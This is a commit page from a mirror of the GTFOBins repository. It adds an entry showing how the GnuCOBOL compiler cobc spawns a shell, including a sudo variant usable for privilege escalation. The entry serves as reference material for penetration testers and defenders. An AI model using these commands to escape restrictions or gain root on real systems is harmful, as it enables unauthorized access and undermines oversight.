1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 08:16:02 +02:00

Create cobc.md

This commit is contained in:
bcoles 2020-03-14 16:38:18 +11:00 committed by Andrea Cardaci
parent d8a1e55782
commit b94b01477c

13
_gtfobins/cobc.md Normal file
View File

@ -0,0 +1,13 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
cobc -xFj --frelax-syntax-checks $TF/x
sudo:
- code: |
TF=$(mktemp -d)
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
sudo cobc -xFj --frelax-syntax-checks $TF/x
---